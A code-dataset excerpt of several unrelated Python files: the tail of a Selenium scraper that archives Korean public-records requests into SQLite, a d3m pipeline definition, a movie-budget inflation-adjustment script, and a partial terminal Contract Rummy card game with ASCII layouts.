'./'+bill['subject']+'/'+bill['city']+'/'+file_name\n\t\t\t\t\tif not os.path.exists(os.path.dirname(file_path)):\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tos.makedirs(os.path.dirname(file_path))\n\t\t\t\t\t\texcept OSError as exc: # Guard against race condition\n\t\t\t\t\t\t\tif exc.errno != errno.EEXIST:\n\t\t\t\t\t\t\t\traise\n\t\t\t\t\twith open(file_path, \"wb\") as f:\n\t\t\t\t\t\tf.write(res.content)\n\t\t\t\t\tfile_names.append(file_name)\n\n\t\t\t\tbill['file_name'] = \"|\".join(file_names)\n\n\t\tupsert(bill)\n\n\t\tbutton = driver.find_element_by_id(\"listBnt2\")\n\t\tbutton.click()\n\t\t\n\t\twait_until(10, EC.invisibility_of_element_located((By.ID, 'imgLoading')))\n\telse :\n\t\tupsert(bill)\n\t\n\ndef create_table():\n\twith sqlite3.connect(BILL_DB) as conn:\n\t\tcur = conn.cursor()\n\t\tcur.execute(\"CREATE TABLE IF NOT EXISTS bills (id INTEGER PRIMARY KEY ON CONFLICT REPLACE, regist_date TEXT, subject TEXT, city TEXT, status TEXT, proc_date TEXT, etc TEXT, contents TEXT, file_name TEXT, update_date TEXT);\")\n\ndef find_finished(id):\n\twith sqlite3.connect(BILL_DB) as conn:\n\t\tcur = conn.cursor()\n\t\tfor row in cur.execute(\"SELECT * FROM bills WHERE id = ? and status LIKE '처리완료%'\", (id, )) :\n\t\t\treturn row[0]\n\t\telse : \n\t\t\treturn None\n\ndef upsert(bill):\n\twith sqlite3.connect(BILL_DB) as conn:\n\t\tcur = conn.cursor()\n\t\tcur.execute(\"INSERT OR REPLACE INTO bills (id, regist_date, subject, city, status, proc_date, etc, contents, file_name, update_date) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\", (bill['id'], bill['regist_date'], bill['subject'], bill['city'], bill['status'], bill['proc_date'], bill['etc'], bill['contents'], bill['file_name'], bill['update_date']))\n\ndef write_header():\n\twith open(OUTPUT_CSV, \"w\", encoding=\"utf-8\") as f:\n\t\tf.write(\"접수번호, 접수일, 제목, 처리기관명, 처리상태, 처리일자, 비고, 공개내용, 파일이름\"+\"\\n\")\n\ndef write_bill(bill):\n\twith open(OUTPUT_CSV, \"a\", encoding=\"utf-8\") as f:\n\t\tf.write(\",\".join(bill.values()).replace(\"\\n\",\"\")+\"\\n\")\n\ncreate_table()\nlogin()\ninit_page_list()\n\nwhile True:\n\trows = get_rows()\n\trow_size = len(rows)\n\t# write_header()\n\tfor idx in reversed(range(row_size)) :\n\t\tset_row(idx)\n\tprint(driver.find_elements_by_class_name(\"pagination\")[0].find_element(By.TAG_NAME, \"strong\").text)\n\tif driver.find_elements_by_class_name(\"pagination\")[0].find_element(By.TAG_NAME, \"strong\").text == \"1\":\n\t\tbreak\n\tnext_page()\n\ndriver.close()\n\nwith open(OUTPUT_HTML, \"w\") as f:\n\thtml = \"\"\n\thtml += ''\n\thtml += ''\n\thtml += \"\"\n\thtml += \"\"\n\thtml += \"\"\n\thtml += \"\"\n\thtml += \"\"\n\thtml += \"\"\n\twith sqlite3.connect(BILL_DB) as conn:\n\t\tcur = conn.cursor()\n\t\tfor row in cur.execute(\"SELECT * FROM bills order by id desc\") :\n\t\t\thtml += \"\"\n\t\t\tfor m in range(0,10):\n\t\t\t\thtml += \"\"\n\t\t\thtml += \"\"\n\thtml += \"\"\n\tf.write(html)\n\nprint(\"finish!\")\nsys.exit()\n\n","sub_path":"craw.py","file_name":"craw.py","file_ext":"py","file_size_in_byte":7750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"85930237","text":"from d3m import index\nfrom d3m.metadata.base import ArgumentType, Context\nfrom d3m.metadata.pipeline import Pipeline, PrimitiveStep\n\n# Creating pipeline\npipeline_description = Pipeline(context=Context.TESTING)\npipeline_description.add_input(name='inputs')\n\n# Step 2: DISTIL/NK Shallot primitive\nstep_0 = PrimitiveStep(primitive=index.get_primitive('d3m.primitives.time_series_classification.shapelet_learning.Shallot'))\nstep_0.add_argument(name='inputs', argument_type=ArgumentType.CONTAINER, data_reference='inputs.0')\nstep_0.add_argument(name='outputs', argument_type=ArgumentType.CONTAINER, data_reference='inputs.0')\nstep_0.add_hyperparameter(name='epochs', argument_type= ArgumentType.VALUE, data=10000)\nstep_0.add_hyperparameter(name='learning_rate', argument_type= ArgumentType.VALUE, data=.001)\n\nstep_0.add_output('produce')\npipeline_description.add_step(step_0)\n\n# Final Output\npipeline_description.add_output(name='output predictions', data_reference='steps.0.produce')\n\n# Output to JSON\nwith open('pipeline.json', 'w') as outfile:\n outfile.write(pipeline_description.to_json())","sub_path":"TimeSeriesD3MWrappers/Shallot_pipeline.py","file_name":"Shallot_pipeline.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"115921270","text":"def write_movies(dir_path):\r\n import pandas as pd\r\n import numpy as np\r\n import re\r\n\r\n data = pd.read_csv(dir_path+\"\\\\\"+'data'+\"\\\\\"+'tmdb_5000_movies.csv')\r\n\r\n data = data[['budget', 'id', 'release_date', 'revenue', 'runtime', 'title']]\r\n\r\n # We'll nix entries with no budget. There's some good films in here, but there's quite a lot of missing data for these. Most of them, that I can tell from a quick eyeball, aren't likely candidates for an award either\r\n data = data[data.budget != 0]\r\n\r\n # This might come in handy later\r\n data = data.rename(columns={'id': 'movie_id'})\r\n\r\n # Before writing our table, we may want to normalize our data. The budgets and revenue may look like ordinary large numbers,\r\n # but movie fans looking at this will know that the data is in its original numbers and adjusted for inflation.\r\n # For instance, our highest grossing film of all time, Gone with the Wind, \"only\" has a revenue of $400,176,459 listed here.\r\n\r\n print(data[data.movie_id == 770])\r\n\r\n # Adjusted for inflation, it should actually be several billion dollars\r\n\r\n # Data from US Bureau of Labor Statistics\r\n # https://data.bls.gov/timeseries/CUUR0000SA0\r\n\r\n inflation = pd.read_csv(dir_path+\"\\\\\"+'data'+\"\\\\\"+'inflation_rates.csv')\r\n #inflation = inflation.set_index('Year')\r\n #y = inflation.to_dict('dict')\r\n\r\n\r\n # Swapping out for just the year to match our inflation data\r\n data['release_date'] = pd.DatetimeIndex(data['release_date']).year\r\n\r\n # Converting our inflation rate to convert to 2020 dollar values\r\n inflation = inflation.set_index('Year')\r\n inflation['CPI'] = (inflation.loc[2020, 'CPI'])/(inflation['CPI'])\r\n\r\n # Merging our inflation rates in\r\n data = data.merge(inflation, how='left', left_on = 'release_date', right_index = True)\r\n\r\n # Adjusting our values\r\n data['budget'] = data['budget']*data['CPI']\r\n data['revenue'] = data['revenue']*data['CPI']\r\n del data['CPI']\r\n\r\n # Let's check again\r\n print(data[data.movie_id == 770])\r\n\r\n # Well that's a lot of money... actually a lot more than expected!\r\n # Using a simple year to year CPI has the unfortunate downside of not capturing films\r\n # whose revenue is spread out over years (or EIGHT different re-releases in 1947, 1954, 1961, 1967, 1971, 1974, 1989, and 1998).\r\n # Oh well, we'll work with this for now and see how it performs\r\n\r\n # Storing this for later, we'll need some normalized text to match on because our Academy Awards titles are not quite identical\r\n\r\n def normalize(x):\r\n x = str(x)\r\n x = x.lower()\r\n x = re.sub(' ','', x)\r\n x = re.sub('[^A-Za-z0-9]+', '', x)\r\n return x\r\n\r\n data['match'] = data['title'].apply(lambda x: normalize(x))\r\n\r\n return data\r\n","sub_path":"Modules/clean_movies.py","file_name":"clean_movies.py","file_ext":"py","file_size_in_byte":2795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"200329937","text":"\"\"\"\n.---------------------------.\n| |\n| CONTRACT RUMMY |\n| |\n'---------------------------'\n----RULES FOR 3-4 PLAYERS----\n\n[add rules here]\n\"\"\"\n\n# ------------------------------------------------------------------- GRAPHICS\n\n\n\nplay_field_full = \"\"\".------------------------------------------------------------------------------------------------------------------------------.\n| .----. | | .------------------------------------------------------------------. | | .----. |\n| | [] | | CURRENT TURN | | [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] | | CURRENT CONTRACT | | [] | |\n| | [] | | 1234567890 | '------------------------------------------------------------------' | # GROUPS of 3 | | [] | |\n| | [] | | | XXXXXXXXXX | # RUNS of 4 | | [] | |\n| | [] | '------------------' [10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠] '------------------' | [] | |\n| | [] | [10♠] [10♠] [10♠] [10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠] [10♠] [10♠] [10♠] | [] | |\n| | [] | X [10♠] [10♠] [10♠] [10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠] [10♠] [10♠] [10♠] X | [] | |\n| | [] | X [10♠] [10♠] [10♠] [10♠] [10♠] [10♠] X | [] | |\n| | [] | X [10♠] [10♠] [10♠] .-----. .-----. [10♠] [10♠] [10♠] X | [] | |\n| | [] | X [10♠] [10♠] [10♠] |'/ \\\\'| | | [10♠] [10♠] [10♠] X | [] | |\n| | [] | X [10♠] [10♠] [10♠] 104 | )|( | | 10♠ | 1 [10♠] [10♠] [10♠] X | [] | |\n| | [] | X [10♠] [10♠] [10♠] |.\\\\_/.| | | [10♠] [10♠] [10♠] X | [] | |\n| | [] | X [10♠] [10♠] [10♠] '-----' '-----' [10♠] [10♠] [10♠] X | [] | |\n| | [] | X [10♠] [10♠] [10♠] [10♠] [10♠] [10♠] X | [] | |\n| | [] | X [10♠] [10♠] [10♠] [10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠] [10♠] [10♠] [10♠] X | [] | |\n| | [] | X [10♠] [10♠] [10♠] [10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠] [10♠] [10♠] [10♠] X | [] | |\n| | [] | [10♠] [10♠] [10♠] [10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠] [10♠] [10♠] [10♠] | [] | |\n| | [] | [10♠] [10♠] [10♠] XXXXXXXXXX [10♠] [10♠] [10♠] | [] | |\n| | [] | .------------------------------------------------------------------. | [] | |\n| | [] | | [10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠] | | [] | |\n| | [] | | [10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠] | | [] | |\n| | [] | | [10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠][10♠] | | [] | |\n| '----' '------------------------------------------------------------------' '----' |\n'------------------------------------------------------------------------------------------------------------------------------'\n | DRAW || DISCARD || LAY DOWN || PLAY ON MELDS || BUY CARD || SORT HAND || MENU |\n | || || (meld) || || || || |\n '--------------' '--------------' '--------------' '--------------' '--------------' '--------------' '--------------'\n 1 2 3 4 5 6 7\n .----------------------------------------------------------------------------.\n | TO CHOOSE AN ACTION, TYPE THE NUMBER OF YOUR CHOICE, THEN HIT RETURN |\n '----------------------------------------------------------------------------'\"\"\"\n\nplay_field = \"\"\".------------------------------------------------------------------------------------------------------------------------------.\n| .----. | CURRENT TURN | .------------------------------------------------------------------. | CURRENT CONTRACT | .----. |\n| | {} | |{}| | {} | |{}| | {} | |\n| | {} | |{}| '------------------------------------------------------------------' |{}| | {} | |\n| | {} | '----------------' {} '----------------' | {} | |\n| | {} | {} | {} | |\n| | {} | {} {} {} {} {} {} {} | {} | |\n| | {} | {} {} {} {} {} {} {} {} {} | {} | |\n| | {} | {} {} {} {} {} {} {} {} | {} | |\n| | {} | {} {} {} {} .-----. .-----. {} {} {} {} | {} | |\n| | {} | {} {} {} {} |{}| | | {} {} {} {} | {} | |\n| | {} | {} {} {} {} {} |{}| | {} | {} {} {} {} {} | {} | |\n| | {} | {} {} {} {} |{}| | | {} {} {} {} | {} | |\n| | {} | {} {} {} {} '-----' '-----' {} {} {} {} | {} | |\n| | {} | {} {} {} {} {} {} {} {} | {} | |\n| | {} | {} {} {} {} {} {} {} {} {} | {} | |\n| | {} | {} {} {} {} {} {} {} {} {} | {} | |\n| | {} | {} {} {} {} {} {} {} | {} | |\n| | {} | {} {} {} {} {} {} {} | {} | |\n| | {} | .------------------------------------------------------------------. | {} | |\n| | {} | | {} | | {} | |\n| | {} | | {} | | {} | |\n| | {} | | {} | | {} | |\n| '----' '------------------------------------------------------------------' '----' |\n'------------------------------------------------------------------------------------------------------------------------------'\n{}\n .----------------------------------------------------------------------------.\n |{}|\n '----------------------------------------------------------------------------'\"\"\"\n\nimport random\nimport os\n\n# ------------------------------------------------------------------- OBJECTS\n\nclass Card:\n \"\"\"Defines a Card object, with the following attributes:\n\n .rank (integer: 0, 2-14)\n - for evaluating card order\n - 'Joker' = 0, 2-10 = 2-10, 'Jack' = 11, 'Queen' = 12, 'King' = 13, 'Ace' = 14\n\n .alt_ranks (list of integers: [], [1], [1-14])\n - used for cards that have more than one rank associated to them:\n - empty list for cards 2-13\n - [1] for 'Ace', for which 14 is the primary rank\n - [1, 2, ... 14] for 'Joker' for which 0 is the primary rank\n\n .suit (string: 'Spades', 'Hearts', 'Clubs', 'Diamonds', 'Joker')\n - used in conjunction with suit_chars dictionary to get ♠♡♣♢\n\n .point_value (integer: 2-10, 15)\n - used for evaluating points at the end of each contract\n - 2-10 = 2-10, 'Jack' - 'King' = 10, 'Ace' = 15, 'Joker' = 15\n\n .display_no_brackets (string: '{suit_char}{rank_char}')\n - eg. '2♣', 'K♢', 'JK'\n\n .display = (string: '[{suit_char}{rank_char}]')\n - eg. '[2♣]', '[K♢]', '[JK]'\n\n \"\"\"\n def __init__(self, rank, alt_ranks, suit, rank_char, suit_char, point_value):\n \"\"\"This runs whenever an instance of a Card object is defined.\n - eg. base_deck[('Queen', suit)] = Card(12, [], suit, 'Q', suit_chars[suit], 10)\n\n takes arguments:\n - rank (integer: see .rank above)\n - suit (string: see .suit above)\n - rank_char (string: '2'-'10', 'J', 'Q', 'K', 'A')\n - suit_char (string: '♠♡♣♢', 'K')\n - point_value (integer: 0)\n \"\"\"\n self.rank = rank\n self.alt_ranks = alt_ranks\n self.suit = suit\n self.point_value = point_value\n self.display_no_brackets = str(rank_char) + str(suit_char)\n self.display = \"[\" + self.display_no_brackets + \"]\"\n\nclass Player:\n \"\"\"Defines a Player object, with the following attributes:\n\n .name (string: len(string) <= 10)\n - 'Player 1' by default, can edit in main menu\n - referred to on the play field, scorecard\n\n .choice (string: '[integer >= 0]')\n - used to represent the choice a player/computer makes at different phases in their turn\n - if no choice, listed as '0'\n\n .turn_status (string)\n - used to evaluate which phase of the currenty player's turn it is\n - used to determine player 1's actions during turn\n - set during each turn\n\n .turn_position (integer: 1-4)\n - turn_position 1 = current player\n - turn_position 2 = left of current player (next in line for buys, turn)\n\n .has_contract (boolean)\n - set to true when the player has a possible contract in their current hand\n - used to evaluate whether 'lay down' is an option during play phase\n\n .hand (list of tuples: ({rank}, {suit}) - rank = '2'-'10', 'Jack', 'Queen', 'King', 'Ace'; suit = 'Spades', 'Hearts', 'Clubs', 'Diamonds')\n - refers to the player's hand of cards\n - when empty, contract is over\n - used in conjunction with base_deck dictionary to point to card object associated with tuple\n - eg. [('3', 'Clubs'), ('2', 'Spades'), ('Jack', 'Clubs')]\n - translates to English: 3 of Clubs, 2 of Spades, Jack of Clubs\n - eg. base_deck[('3', 'Spades')] = card object with:\n .rank = 3\n .alt_ranks = []\n .suit = 'Spades'\n .point_value = 3\n .display_no_brackets = '3♠'\n .display = '[3♠]'\n\n .meld (list of lists of tuples: see .hand for list of tuples)\n - refers to the cards in front of a player after they lay down\n - eg. [[(2, 1), (2, 0), (2, 3)], [(11, 2), (11, 2), (11, 1)], [(5, 2), (6, 2), (0, 0), (8, 2)]]\n - translates to English: Group of 2s, Group of 11s, Run of 5-8 of Hearts, with Joker as 7 of Hearts\n\n .score (integer: score >= 0)\n - starts at 0\n - calculated at the end of each contract\n - player with the lowest score wins\n\n .rank (integer: 1-4)\n - starts at 1\n - based on score\n - used to determine rank display and game winner\n\n .rank_display (string: '1st', '2nd', '3rd', or '4th')\n - based on .rank\n\n .name_display (string (p1, p3) or list (p2, p4))\n - based on .name\n - centered string for p1, p3\n - centered list for p2, p4\n\n .meld_display_1, .meld_display_2, .meld_display_3 (string (p1, p3) or list (p2, p4))\n - centered strings for p1, p3\n - centered lists for vertical display for p2, p4\n\n .hand_display (string (p3) or list (p1, p2, p4))\n - centered string of \"[]\" for each card in hand for p3\n - list of 3 centered strings for p1\n - centered list of \"[]\" for each card in hand for p2, p4\n\n \"\"\"\n def __init__(self, number, name, choice, turn_status, turn_position, has_contract, hand, meld, score):\n \"\"\"This runs whenever an instance of a Player object is defined.\n - eg. p2 = Player(2, \"Player 2\", None, 0, False, [], [], 0)\n\n takes arguments:\n - number (integer: 1-4, see .number)\n - name (string: 'Player {number}', see .name)\n - choice (string: '{number}', see .choice)\n - turn_status (string: None, see .turn_status)\n - turn_position (integer: 1-4, see .turn_position)\n - has_contract (boolean, see .has_contract)\n - hand (list: [], see .hand)\n - meld (list: [], see .meld)\n - score (integer: 0)\n\n \"\"\"\n\n self.number = number\n self.name = name\n self.choice = choice\n self.turn_status = turn_status\n self.turn_position = turn_position\n self.has_contract = has_contract\n self.hand = hand\n self.meld = meld\n self.score = score\n self.rank = 1\n self.rank_display = self.get_rank_display()\n self.name_display = self.get_name_display()\n self.meld_display_1 = self.get_meld_display(1)\n self.meld_display_2 = self.get_meld_display(2)\n self.meld_display_3 = self.get_meld_display(3)\n self.hand_display = self.get_hand_display()\n\n def get_rank(self):\n \"\"\"Compares each player's score, gives player a rank 1-4, same rank if tied\"\"\"\n global players\n rank = 1\n for player in players:\n\n if player != self:\n\n if self.score > player.score:\n rank += 1\n\n else:\n pass\n\n else:\n pass\n\n return rank\n\n def get_rank_display(self):\n \"\"\"Translates ranks 1-4 to '1st', '2nd', '3rd', '4th'\"\"\"\n\n if self.rank == 1:\n rank_display = '1st'\n\n elif self.rank == 2:\n rank_display = '2nd'\n\n elif self.rank == 3:\n rank_display = '3rd'\n\n elif self.rank == 4:\n rank_display = '4th'\n\n else:\n print(f\"ERROR: Rank {rank} undefined\")\n exit()\n\n return rank_display\n\n def get_name_display(self):\n \"\"\"Takes self.name and returns a centered string for p1/p3, centered list for p2/p4\"\"\"\n if self.number == 1 or self.number == 3:\n name_display = center(self.name.upper(), 10)\n\n elif self.number == 2 or self.number == 4:\n name_display_str = center(self.name.upper(), 10)\n name_display = []\n for char in name_display_str:\n name_display.append(char)\n\n else:\n print(f\"ERROR: player number {self.number} undefined\")\n exit()\n\n return name_display\n\n def get_hand_display(self):\n \"\"\"\n Takes self.hand and returns:\n a list of 3 centered strings for p1\n a centered list of '[]' for each card in hand for p2, p4\n a centered string for each card in hand for p3\n \"\"\"\n if self.number == 1:\n hand_line_1 = \"\"\n hand_line_2 = \"\"\n hand_line_3 = \"\"\n display_cards = []\n\n for card_tuple in self.hand:\n display_cards.append(base_deck[card_tuple].display)\n\n if len(display_cards) <= 13:\n for card in display_cards:\n hand_line_2 += card\n\n elif 13 < len(display_cards) <= 26:\n for a in range(13):\n hand_line_1 += display_cards[a]\n for b in range(13, len(display_cards)):\n hand_line_2 += display_cards[b]\n\n elif 26 < len(display_cards):\n for a in range(13):\n hand_line_1 += display_cards[a]\n for b in range(13, 26):\n hand_line_2 += display_cards[b]\n for c in range(26, len(display_cards)):\n hand_line_3 += display_cards[c]\n\n hand_display = [center(hand_line_1, 60), center(hand_line_2, 60), center(hand_line_3, 60)]\n\n elif self.number == 2 or self.number == 4:\n hand_display = []\n if len(self.hand) > 0:\n for tuple in p2.hand:\n hand_display_str = center(\"x\" * len(p2.hand), 21)\n for char in hand_display_str:\n hand_display.append(char)\n for index, item in enumerate(hand_display):\n if item == \"x\":\n hand_display[index] = \"[]\"\n else:\n hand_display[index] = \" \"\n else:\n for lines in range(22):\n hand_display.append(\" \")\n\n elif self.number == 3:\n hand_display_list = []\n for tuple in self.hand:\n if len(hand_display_list) < 21:\n hand_display_list.append(\"[]\")\n hand_display = center(\" \".join(hand_display_list), 62)\n\n else:\n print(f\"ERROR: player number {self.number} undefined\")\n exit()\n\n return hand_display\n\n def get_meld_display(self, display_line):\n \"\"\"\n Returns a centered list, one for each 'display_line' in the meld area of the play field\n For each player:\n display_line 1 (meld_display_1) is line closest to hand\n display_line 2 (meld_display_2) is middle line\n display_line 3 (meld_display_3) is line closest to deck/discard pile\n \"\"\"\n meld_str = \"\"\n meld_list = []\n\n if self.number == 1 or self.number == 3:\n for card in self.meld[display_line - 1]:\n meld_str += base_deck[card].display\n meld_display = center(meld_str, 66)\n\n elif self.number == 2:\n for card in self.meld[display_line - 1]:\n meld_list.append(card)\n meld_display = center_list(meld_list, 13, 'left')\n\n elif self.number == 4:\n for card in self.meld[display_line - 1]:\n meld_list.append(card)\n meld_display = center_list(meld_list, 13, 'right')\n\n else:\n print(f\"ERROR: player '{player}' undefined.\")\n quit()\n\n return meld_display\n\n def draw(self, source):\n \"\"\"Takes the top card from the source, gives it to player drawing.\"\"\"\n drawn_card = source.pop(-1)\n self.hand.append(drawn_card)\n\n def turn(self):\n \"\"\"\n This runs for current_player during the main loop\n current_player is set at the beginning of each contract\n current_player updated at end of player turn\n \"\"\"\n global current_player\n global players\n global instructions\n\n # Create list of players in turn order\n players_in_turn_order = []\n\n for position in range(1, 5):\n for player in players:\n if player.turn_position == position:\n players_in_turn_order.append(player)\n else:\n pass\n\n # Take player input, unless turn status is new or done\n if self.turn_status == 'done' or self.turn_status == 'new':\n pass\n else:\n draw_screen()\n p1.choice = input(\"> \")\n\n # CARRY OUT TURN BASED ON TURN_STATUS, SET NEW TURN STATUS\n if self.turn_status == 'new':\n # Set turn statuses when switching players\n for player in players:\n if player != current_player:\n player.turn_status = \"wait\"\n\n else:\n player.turn_status = \"draw\"\n\n elif self.turn_status == 'done':\n # Update player number to next player in order\n if self.number == 4:\n current_player_number = 1\n\n else:\n current_player_number = self.number + 1\n\n current_player = players[current_player_number - 1]\n update_turn_position(current_player)\n current_player.turn_status = 'new'\n\n # Turn Statuses that Use Player Input\n elif self.turn_status == 'draw':\n if self.choice == '1': # draw from deck\n for player in players_in_turn_order:\n if player.turn_status == 'buy' and player.choice == '1': # player selected '1: buy' in buy phase\n # PLAYER BUYS THE CARD\n player.draw(deck)\n player.draw(discard_pile)\n break\n else: # player did not select buy, checks next player\n pass\n self.draw(deck)\n else:\n pass\n\n if p1.choice == '1':\n self.turn_status = 'play'\n if self == p4:\n p4.hand = []\n\n else:\n pass\n\n elif self.turn_status == 'play':\n if p1.choice == '1':\n self.turn_status = 'discard'\n\n else:\n pass\n\n elif self.turn_status == 'discard':\n if p1.choice == '1':\n self.turn_status = 'done'\n\n else:\n pass\n\n else:\n print(f\"ERROR: turn_status '{self.turn_status}' undefined.\")\n exit()\n\nclass Contract:\n \"\"\"Defines a Contract object, with the following attributes:\n .number (integer: 1-7)\n - used to refer to contract number (for display purposes)\n - eg. \"Contract {current_contract.number}\"\n\n .groups (integer: 0-3)\n - number of groups needed to complete contract\n\n .runs (integer: 0-3)\n - number of runs needed to complete contract\n\n .cards_dealt (integer: 10, 12)\n - number of cards dealt to each player at the beginning of contract\n\n .dealer (integer: 1-4)\n - the dealer for this contract (determines turn_position for each player)\n\n \"\"\"\n\n def __init__(self, number, groups, runs, cards_dealt, dealer):\n \"\"\"This runs whenever an instance of a Contract object is defined.\n - eg. contract_1 = Contract(1, 2, 0, 10, deal_cycle[0])\n\n takes arguments:\n - number (integer: 1-7, see .number)\n - groups (integer: 0-3, see .groups)\n - runs (integer: 0-3, see .runs)\n - cards_dealt (integer: 10, 12, see .cards_dealt)\n - dealer (integer: deal_cycle[0-6], see .dealer, see deal_cycle and full_deal_cycle lists)\n\n \"\"\"\n self.number = number\n self.groups = groups\n self.runs = runs\n self.cards_dealt = cards_dealt\n self.dealer = dealer\n\n def new_deck(self):\n \"\"\"Returns a list of tuples pointing to card objects in the base deck\n The list contains two copies of each card object in the base deck,\n except for the ('Joker', 'Joker') tuple, of which there is only one\n The list is shuffled randomly.\n \"\"\"\n\n deck = []\n\n for card in base_deck: # add cards two at a time to deck\n deck.append(card)\n deck.append(card)\n deck.pop(-1) # remove second joker\n\n random.shuffle(deck)\n\n return(deck)\n\n def deal(self):\n \"\"\"loops through the list of players [p1, p2, p3, p4]\n takes a card from the top of the deck, adds the card to the player's hand\n repeats {.cards_dealt} number of times (10 or 12)\n \"\"\"\n for deal_to_each_player in range(self.cards_dealt):\n for player in players:\n dealt_card = deck.pop(-1)\n player.hand.append(dealt_card)\n\n# ----------------------------------------------------------------- FUNCTIONS\n\n# Main Functions\ndef move_card(card_tuple, source, destination):\n destination.append(source.pop(card_tuple))\n\ndef update_turn_position(first_player):\n if first_player == p1:\n p1.turn_position = 1\n p2.turn_position = 2\n p3.turn_position = 3\n p4.turn_position = 4\n\n elif first_player == p2:\n p2.turn_position = 1\n p3.turn_position = 2\n p4.turn_position = 3\n p1.turn_position = 4\n\n elif first_player == p3:\n p3.turn_position = 1\n p4.turn_position = 2\n p1.turn_position = 3\n p2.turn_position = 4\n\n elif first_player == p4:\n p4.turn_position = 1\n p1.turn_position = 2\n p2.turn_position = 3\n p3.turn_position = 4\n\ndef next_contract():\n \"\"\"Ends the current contract and runs the next one, until contract 7 where it stops main loop\n \"\"\"\n\n global contracts\n global current_contract\n global running\n\n if current_contract != contract_7:\n end_contract(current_contract)\n new_contract(contracts[contracts.index(current_contract) + 1])\n else:\n end_contract(current_contract)\n running = False\n\ndef new_contract(contract):\n \"\"\"\n sets current_contract\n sets current_player based on current_contract.dealer\n sets current player's status to \"draw\"\n sets other player's statuses to \"buy\"\n sets deck, deals cards to each player\n \"\"\"\n\n global players\n global deck\n global current_contract\n global current_player\n\n # set current_contract\n current_contract = contract\n\n # set current_player based on current_contract\n if contract.dealer == 4:\n current_player_number = 1\n\n else:\n current_player_number = contract.dealer + 1\n\n current_player = players[current_player_number - 1]\n update_turn_position(current_player)\n current_player.turn_status = 'new'\n\n # set deck and deal cards for contract\n deck = contract.new_deck()\n contract.deal()\n\ndef end_contract(contract):\n \"\"\"sets current_player to None\n sets current_contract to None\n clears each player's hand\n \"\"\"\n\n global current_player\n\n clear()\n # show_scorecard()\n\n current_player = None\n current_contract = None\n for player in players:\n player.hand = []\n\n# Display Functions\ndef clear():\n \"\"\"Calls on the OS to enter the 'clear' command in the Terminal\"\"\"\n os.system('clear')\n\ndef set_screen_parameters():\n \"\"\"Sets window size and font size each time the screen is drawn\"\"\"\n os.system('osascript -e \\'tell app \"System Events\" to tell process \"Terminal\" to set frontmost to true\\'')\n os.system(f'osascript -e \\'tell app \"Terminal\" to set font size of first window to \"{font_size}\"\\'')\n os.system(f'printf \"\\e[8;{screen_height};{screen_width}t\"')\n\ndef center(text, line_width):\n \"\"\"\n If the length of text is smaller than line_width, returns centered text\n centered text:\n \"{left_margin}{text}{right_margin}\" = line_width\n left_margin = floored 1/2 of line_width - len(text)\n right_margin = line_width - {left_margin}{text}\n \"\"\"\n if len(text) > line_width:\n left_margin = \"\"\n right_margin = \"\"\n\n else:\n left_margin_mult = (line_width - len(text)) // 2\n left_margin = \" \" * left_margin_mult\n right_margin = \" \" * (line_width - len(text) - left_margin_mult)\n\n centered_text = left_margin + text + right_margin\n\n return centered_text\n\ndef left_align(text, line_width):\n \"\"\"\n If the length of text is smaller than line_width, returns left aligned text\n left aligned text:\n \"{text}{right_margin}\" = line_width\n right_margin = line_width - text\n \"\"\"\n if len(text) > line_width:\n right_margin = \"\"\n\n else:\n right_margin_mult = line_width - len(text)\n right_margin = \" \" * right_margin_mult\n\n left_aligned_text = text + right_margin\n\n return left_aligned_text\n\ndef right_align(text, line_width):\n \"\"\"\n If the length of text is smaller than line_width, returns right aligned text\n right aligned text:\n \"{left_margin}{text}\" = line_width\n left_margin = line_width - text\n \"\"\"\n if len(text) > line_width:\n left_margin = \"\"\n\n else:\n left_margin_mult = line_width - len(text)\n left_margin = \" \" * left_margin_mult\n\n right_aligned_text = left_margin + text\n\n return right_aligned_text\n\ndef center_list(list, full_list_length, str_align):\n \"\"\"\n Returns a list where the elements are centered within the list:\n 'empty slots' in the list are strings with 5 spaces\n This is used for the meld area of p2 and p4 (vertical displays of lists)\n str_align is how the card strings are aligned within the list:\n left = \"[9♠] \"\n right = \" [9♠]\"\n center = \"[9♠] \"\n\n eg. list_in = [('9', 'Spades'), ('10', 'Spades'), ('Jack', 'Spades')]\n full_list_length = 7\n centered list, left str_align = [\" \", \" \", \"[9♠] \", \"[10♠]\", \"[J♠] \", \" \", \" \"]\n \"\"\"\n left_margin_list_mult = (full_list_length - len(list)) // 2\n list_out = []\n left_margin_list = []\n right_margin_list = []\n empty_slot = \" \"\n\n for card in list:\n if str_align == \"left\":\n card_display = left_align(base_deck[card].display, 5)\n\n elif str_align == \"right\":\n card_display = right_align(base_deck[card].display, 5)\n\n elif str_align == \"center\":\n card_display = center(base_deck[card].display, 5)\n\n else:\n print(f\"ERROR: align '{str_align}' undefined\")\n quit()\n list_out.append(card_display)\n\n\n for i in range(left_margin_list_mult):\n left_margin_list.append(\" \")\n\n for i in range(full_list_length - (left_margin_list_mult + len(list))):\n right_margin_list.append(\" \")\n\n centered_list = left_margin_list + list_out + right_margin_list\n\n return centered_list\n\ndef get_contract_display(contract):\n \"\"\"\n Gets display for screen:\n X GROUP(S) of 3, X RUN(S) of 4, NO DISCARD for Contract 7\n \"\"\"\n global contracts\n contract_display = []\n\n if contract.groups == 0:\n groups_display = \"\"\n elif 